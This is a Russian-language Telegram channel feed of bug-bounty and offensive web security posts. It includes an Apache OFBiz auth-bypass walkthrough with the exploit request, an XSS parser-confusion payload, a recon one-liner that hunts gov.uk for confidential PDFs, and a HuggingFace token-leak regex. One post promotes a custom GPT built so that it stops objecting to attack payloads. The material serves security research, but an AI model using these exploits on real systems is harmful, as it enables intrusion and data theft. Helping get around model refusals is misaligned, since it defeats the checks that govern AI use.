shadow_group_tg | Unsorted

Telegram-канал shadow_group_tg - SHADOW:Group

11515

Чат: @shadow_chat_tg Предложения, вопросы, сотрудничество: @shdwpwn

Subscribe to a channel

SHADOW:Group

История одной уязвимости в Chrome

Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
Twitter
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.

Читать полностью…

SHADOW:Group

🤕 Неочевидные угрозы: как защититься от атак на десериализацию, XSS и чтение произвольных файлов

Злоумышленники могут успешно атаковать 98% веб-приложений. И это не просто громкие цифры, а данные из исследования Positive Technologies. Как такое возможно, если есть инструменты и практики типа SAST, DAST и WAF, а разработчики вроде бы нормально кодят?

Давайте я объясню, как устроены опасные атаки, на примере с разработчиком Василием, который работает в интернет-магазине и которому начальство подкидывает разные интересные задачки.

➡️ Читать далее

🌚 @poxek

Читать полностью…

SHADOW:Group

👁 Курс на мисконфиги. Как поймать проблемный CORS на проде

На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.

Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.

Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.

Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!

https://xakep.ru/2024/01/18/cors-cheatsheet/

Читать полностью…

SHADOW:Group

💻 Раскрытые уязвимости с багбаунти, ч.7

1️⃣ IDOR при изменении информации о пользователе, позволяющий привязать свою почту к чужому аккаунту и получить к нему доступ

2️⃣ Повышение привелегий через изменение роли, открывающее админский функционал в приложении

3️⃣ Reflected XSS через скрытый параметр

#web #idor #logic #xss

Читать полностью…

SHADOW:Group

Многие оставляют недоработанными вектора атак с self-XSS или XSS, заблокированной CSP. Иногда стоит уделить достаточно внимания каждой такой находке и посмотреть на уязвимость с другой стороны 😈

В этой статье мы рассмотрим различные методы и техники, которые расширяют границы XSS-атак: эксплуатацию XSS через service-worker, self-XSS в один клик и другие сочетания уязвимостей 💎

https://telegra.ph/XSS-Advanced-Level-01-09

Читать полностью…

SHADOW:Group

🎄 Дорогие подписчики, поздравляю вас с наступающим Новым Годом!

Желаю, чтобы ваши поиски всегда были успешными, а каждая найденная уязвимость приносила не только удовлетворение, но и заслуженное вознаграждение.

Пусть Новый год будет полон интересных открытий и невероятных находок и принесет вам радость, удачу и множество приятных сюрпризов. До встречи в новом году!

Читать полностью…

SHADOW:Group

SMTP Smuggling - Spoofing E-Mails Worldwide. Очень крутой, при этом подробный ресерч. Вкратце, благодаря смаглу сообщений, позволяет отправить сообщение от имени любого пользователя почтового сервера в обход фильтров.

https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/

P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод

#initial #fishing #pentest #redteam

Читать полностью…

SHADOW:Group

Разработчики любят писать микросервисы для "перекладывания JSON". Стандарт устоявшийся и, как правило, не сулит проблем. Но так ли это на самом деле?

Возьмем небольшое приложение с двумя микросервисами:
Cart — реализует бизнес-логику корзины
Payment — используется для обработки платежей

Cart написан на Python с Flask и принимает ID товаров с их количеством. Попробуем отправить в него запрос с двумя одинаковыми ключами:

"cart": [
{
"id": 0,
"qty": 5
},
{
"id": 1,
"qty": -1,
"qty": 1
}
]

Сервис провалидирует JSON в соответствии со схемой jsonschema.validate(instance=data, schema=schema). Убедится, что id: 0 <= x <= 10 and qty: >= 1. На этом этапе не будет ошибки (не смотря на то, что один из отправленных qty не подходит под условие), поскольку Flask использует стандартный JSON-парсер из Python, а тот сериализует данные, отдавая приоритет последнего ключа (qty = 1).

Дальше провалидированный JSON отправляется в микросервис Payment.

А микросервис Payment написан уже на Go и использует другой парсер buger/jsonparser. Он уже не валидирует JSON (ведь валидация была на предыдущем шаге), но использует приоритет первого ключа (qty = -1). Считает итоговую сумму total = total + productDB[id]["price"].(int64) * qty и генерирует чек.

Мы смотрим в чек, который вернулся в ответе, и видим ошибку. Нам будет отправлено шесть товаров стоимостью 700 долларов, но с нас взяли только 300 долларов, из-за расчетов со вторым ключом.

Такие ошибки возникают из-за того, что существует много стандартов JSON:
1. json.org
2. IETF RFC 4627
3. ECMAScript 262
4. ECMA 404
5. IETF RFC 7158
6. IETF RFC 7159
7. JSON5
8. HJSON

И в каждом из них свои правила парсинга JSON: о том, как обрабатывать дублирующие ключи, что делать с большими числами с плавающей точкой, что считать валидным, а что нет. И на каждом из этих этапов могут возникнуть коллизии, позволяющие обходить средства защиты или вызывающие баги в бизнес логике.

Полезные ссылки:
https://seriot.ch/json/parsing.htmlбольшая таблица-сравнение: как разные парсеры обрабатывают разные значения.
https://bishopfox.com/blog/json-interoperability-vulnerabilities я рассказал только об одном баге, но их гораздо больше: здесь можно почитать обо всех остальных.
https://github.com/a1phaboy/JsonDetect расширение для Burp для определения того, какой парсер используется.

Читать полностью…

SHADOW:Group

🐔 XSS и CSRF в Twitter

Тут багхантер взял недавно слитую XSS , за которую не заплатили и докрутил ее до импакта, позволяющего выполнять различные действия в вашем аккаунте в Twitter, вплоть до его захвата. Однако ему за это тоже не заплатили и он так же решил слить уязвимость на всеобщее обозрение.

Ссылка на пост

#web #csrf

Читать полностью…

SHADOW:Group

🔍 Поиск утечек у пользователей организации

Один из рабочих способов поиска утечек в GitHub'е организации, это собрать список ее пользователей и проверять их репозитории на утечки.

Любой общедоступный репозиторий в учетной записи пользователя организации, созданный случайно или для тестирования, может содержать утечки конфиденциальной информации, внутренний код и т.д.

Данный процесс можно автоматизировать и один из инструментов, который может помочь вам, называется git-alerts. Вы можете ознакомиться с ним по ссылке ниже.

Ссылка на GitHub

#web #recon #tools

Читать полностью…

SHADOW:Group

Коротко о баг-баунти #meme #bugbounty

Читать полностью…

SHADOW:Group

Что было по ББ на Standoff:

Как выжить «мобильщику» на багбаунти - https://www.youtube.com/watch?v=TPSvVtF6vmw
Олды в багбаунти: как поменялись баги и подходы за последние 7–8 лет - https://www.youtube.com/watch?v=FRGHW5auZsI
Как выжить на bug bounty: история исследователя безопасности - https://www.youtube.com/watch?v=PvIFiHKfDgw
Систематизируем багбаунти с помощью аномалий - https://www.youtube.com/watch?v=TVKyU24n0fk

Читать полностью…

SHADOW:Group

📄 #наработки #web #offense

➡️Моя статья, победившая в конкурсе от Standoff365, увидела свет на Habr! 👈

1️⃣ Основы работы почты
2️⃣ Потенциальные уязвимости
3️⃣ Демонстрация эксплуатации

🧩 Habr: E-mail Injection

DeteAct Blog: E-mail Injection

   😰   HaHacking_Mail-Injection.pdf ⬇️


) Откуда?

Не так давно столкнулась с ситуацией, когда форма на сайте отправляла ответы пользователей в виде писем на выделенную для этого почту.

На первый взгляд – обычная ситуация, а на второй – вывалившийся лог SMTP сервера навёл на мысли об изучении спектра потенциальных уязвимостей, которые могут вытекать из специфики почтовой функциональности;

➡️ Результаты – оформила в виде статьи ⚡️


) Что?

[ Подготовила небольшие примеры уязвимых приложений + каждое наглядно проэксплуатировала ]

🧩 qwqoro/Mail-Injection [ 💻 / 💻 / 🐍 ]

CRLF (SMTP / IMAP) Injection
Arbitrary Command Flag Injection
Improper Input Validation


// Время чтения: ~20 минут
➡️Enjoy! 📝

@HaHacking  🐇

Читать полностью…

SHADOW:Group

Недавно OpenAI представила для подписчиков Plus контекстное окно в 32к токенов! А еще возможность создания кастомных GPT на основе своих данных.

Мне пришла идея создать свою сборку — загрузить чеклисты и методологии файлами в конфигуратор.

Представляю вашему вниманию Кавычка GPT

Теперь модель больше не будет спорить с вами об этичности пэйлоадов.

https://chat.openai.com/g/g-5KWmQ9wKU-kavychka-gpt

Читать полностью…

SHADOW:Group

💻 Раскрытые уязвимости с багбаунти, ч.6

1️⃣ Манипуляция ценой при покупке годовой лицензии

2️⃣ Лишаем пользователей возможности зарегистрироваться на сайте через логическую ошибка при добавлении нескольких почт

3️⃣ Простой Reflected XSS с обходом WAF

#web #xss #logic #bypass

Читать полностью…

SHADOW:Group

💰Как предложение от банка привело к раскрытию личных данных и награде в 5000$

Небольшой рассказ о том, как обычное почтовое предложение позволяло злоумышленнику получить доступ к данным других пользователей и раскрыть конфиденциальную личную информацию.

Ссылка на статью

#web #idor #leak

Читать полностью…

SHADOW:Group

Как ломать 1С-Битрикс

Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр 👍

Краткое содержание статьи
⬜️ Что делать, если по всем известной методичке про атаки на битрикс ничего не найдено
⬜️ Откуда появляются самописные скрипты в битриксе
⬜️ Охота и разведка на самописные php скрипты разработчиков
⬜️ Атака + кейс с работы

Приятного чтения & Happy hacking ☺️

📶 Как ломать сайты на «1С-Битрикс»

ЧТНП | #web

Читать полностью…

SHADOW:Group

Oh yes, ping pong

Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML-RPC. Решил глянуть, что это было и как оно происходит 😺

Суть заключается в том, что XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java

       List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}


Тут все начинается с requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChange

Дальше идем в checkLogin() и там уже идет следующий момент

if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))


Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс "error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChange

Поэтому мы можем дергать ручки XML-RPC

/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y


А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial

POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Читать полностью…

SHADOW:Group

#quick #XSS
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:

from html.parser import HTMLParser

class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")

def handle_endtag(self, tag):
pass

def handle_startendtag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")

def handle_data(self, data):
pass

html_string = input()

parser = MyHTMLParser()
parser.feed(html_string)

Этот код выводит теги и их атрибуты.
При этом стандартная библиотека питона не учитывает, что для тегов
"iframe", "noembed", "noframes", "noscript", "plaintext", "title", "textarea", "xmp"

Содержимое не обрабатывается как html теги
Соответственно при вводе:
<textarea><a href="x></textarea><img src=x onerror=alert()//">

Результат парсинга будет выглядеть следующим образом:
textarea
a
->href: x></textarea><img src=x onerror=alert()//

В то время как в браузере это будет выглядеть следующим образом:
            <textarea>&lt;a href="x&gt;</textarea><img src="x" onerror="alert()//&quot;">

И соответсвенно выведется alert()
Вещь баянистая, но многие про это забывают при той же эксплуатации Server Side XSS

Попробую такой формат заметок

Читать полностью…

SHADOW:Group

📁 Массовый поиск конфиденциальных данных в PDF-файлах

Исследуя таргет часто попадается много pdf'ок, которые могут содержать конфиденциальные данные. Просматривать вручную все это очень долго, а потому можно попробовать автоматизировать этот процесс.

1️⃣ Используем gau для сбора конечных точек из wayback, urlscan и т.д.
2️⃣ Фильтруем конечные точки по расширению .pdf с помощью Grep.
3️⃣ Проверяем с httpx, что url живой и возвращает 200 ОК.
4️⃣ С помощью curl'а смотрим все живые pdf'ки.
5️⃣ Конвертируем PDF в текст. Для этого есть утилитка pdftotext, которая, как видно из названия, умеет переводить из pdf в текст. Устанавливается так:

sudo apt install poppler-utils

6️⃣ Используем Grep для некоторых чувствительных слов, таких как "internal use only" или "confidential" и т.д.

В результате чего получим такую команду:

for i in $(echo "gov.uk" | gau --subs --threads 16 | grep -E -o 'https?://[^[:space:]]+\.pdf' | httpx -silent -mc 200); do if curl -k -s $i | pdftotext -q - - | grep -Eaiq 'confidential|internal use only'; then echo $i | tee output.txt; fi; done


Эта команда сканирует веб-сайт "gov.uk" и его поддомены в поиске URL-ов с PDF-файлами. Затем она проверяет каждый PDF-файл на наличие строк "confidential" или "internal use only" и записывает эти URL-ы в файл "output.txt".

Вы можете включить свое творческое мышление и попытаться изменить этот скрипт по своему усмотрению. Например, используя katana вместо gau или проверяя наличие других чувствительных слов, используя другие расширения и т.д. Использование собственного творческого подхода даст вам максимальную отдачу!

#web #recon #leak

Читать полностью…

SHADOW:Group

​​🔑 Утечки ключей HuggingFace

С развитием нейросетей увеличилось число сервисов для работы с ними, что в свою очередь дарит нам возможность поискать утекшие токены от этих сервисов.

Вот тут, например, исследователь нашел 1681 валидный токен через HuggingFace и GitHub у таких гигантов как Meta, Microsoft, Google и Vmware и получил полный доступ к репозиториям Meta-Llama, Bloom, Pythia и HuggingFace.

Можно взять себе на заметку и добавить регулярку к списку своих дорков, так как я ее не видел ни в одном из популярных публичных списков, а также проанализировать похожие сервисы на утечки.

/hf_([a-zA_Z0-9]{32,})/

#web #recon #leak #dork

Читать полностью…

SHADOW:Group

☕️² Время собирать подводные камни — в Java

Паша рассказал о подводных камнях веб-приложений на Java на примере четырёх способов исполнить произвольный код через малоизвестные компоненты и странности их поведения.

В программе: RCE через Spring View Manipulation, RCE через Java Deserialization, RCE через Java Naming and Directory Interface и RCE через FastJSON. Бонусом Паша показал ещё одну хитрую RCE-цепочку в своём таске на Java Attach API для Беллюминара (WCTF) 2020.

Доклад будет полезен тем, кто хочет узнать больше фишек и забытых механизмов в Java-вебчике, чтобы расширить свой багхантерский потенциал.

Видео: youtu.be/HVWW_tNoLkY
Презентация: vk.com/doc-114366489_607590017

— vk.com/wall-114366489_2279 —

Читать полностью…

SHADOW:Group

📁Отслеживаем изменения в файлах JS

Недавно было раскрыто несколько отчетов (например тут или тут), где исследователь просто отслеживал изменения в файлах JS и таким образом находил уязвимости.

Почитать подробнее об этом вы можете тут, а ниже прикладываю инструмент, который поможет вам отслеживать такие изменения и информировать вас о них в телеграмм.

Thx @cyb3r4z

Ссылка на GitHub

#web #tools #js

Читать полностью…

SHADOW:Group

📝Подборка обходов различных WAF

Автор собрал советы по обходу waf из Twitter'а и упаковал это в едином репозитории.

Ссылка на GitHub

#web #waf #bypass

Читать полностью…

SHADOW:Group

🔐Кража кода OAuth через Reverse Proxy для захвата аккаунта

Построение цепочки уязвимостей для получения захвата аккаунта в один клик.

Ссылка на статью

#web #oauth #ato

Читать полностью…

SHADOW:Group

Сегодняшний день богат на новые крутые ББ-программы :)

Positive Technologies объявили программу вместе с Wildberries
/channel/standoff_365/319

А BI.ZONE Bug Bounty запустили первую программу совместно с правительством Ленинградской области.
Тот случай, когда можно безопасно тестировать гос ресурсы 😄
https://app.bugbounty.bi.zone/companies/piou-lenobl/main

И, как подсказывают в комментариях, SkillBox, GeekBrains, SkillFactory подняли выплаты в 3 раза до 15 декабря

Настало время выходить из осенней спячки :)

Читать полностью…

SHADOW:Group

⚡️IDOR в CloudTips

Подготовили для вас статью, посвящённую разбору бага, найденного нашим исследователем на Bug Bounty Cloud Tips👾

📣Ссылка на статью:
https://habr.com/ru/articles/775814/

#web #pentest #byapsecurity #bugbounty

Читать полностью…

SHADOW:Group

#podcast #НеДляГалочки

Утечки или ночной кошмар DPO. Откуда берутся, в чем причины. Разбираем кейсы с этичным хакером
😄

ОСТОРОЖНО! В этом выпуске много практических кейсов, конкретных рекомендаций и историй из жизни хакера.

💡Apple, Яндекс

🎤Ведущие выпуска:

🔵Кристина Боровикова, со-основатель RPPA, Kept Privacy Team Lead

🔵Елизавета Дмитриева, data privacy engineer в российском инхаусе

🆕Помогали справиться с кошмаром:

🔵Александр Герасимов — этичный хакер, эксперт в области тестирования на проникновение и анализа защищенности. Директор по информационной безопасности и сооснователь Awillix.

🔵Елизавета Никулина — директор по маркетингу и PR в Awillix

Обсудили:

⬇️Векторы атак
⬇️Жизненный цикл утечек данных
⬇️Последствия утечек для человека
⬇️Реагирование на инциденты, а том числе PR-позиция компании
⬇️Немного коснулись базовой инфобезной терминологии

Читать полностью…

SHADOW:Group

👾Райтап для задачи "Xss 3", которая не была решена в JIS CTF 2023 и CAT CTF 23

Классный таск, сценарий которого максимально приближен к реальной жизни, когда кажется, что все символы экранированы и выполнить XSS нельзя.

Вы узнаете как в php можно обойти htmlspecialchars(), а также побороть ограничение на количество символов.

Читать статью

#web #xss #bypass #ctf

Читать полностью…

SHADOW:Group

🔃 Недавние уязвимости рендера в PDF

Если видим места, где рендерится PDF и у нас есть возможность влиять на его элементы обращаем внимание на уязвимости в:

ReportLab:
https://github.com/c53elyas/CVE-2023-33733

Dompdf:
https://github.com/advisories?query=CVE-2023-23924

На скрине ниже пример эксплуатации уязвимости в ReportLab приводящий к RCE.

#web #cve

Читать полностью…
Subscribe to a channel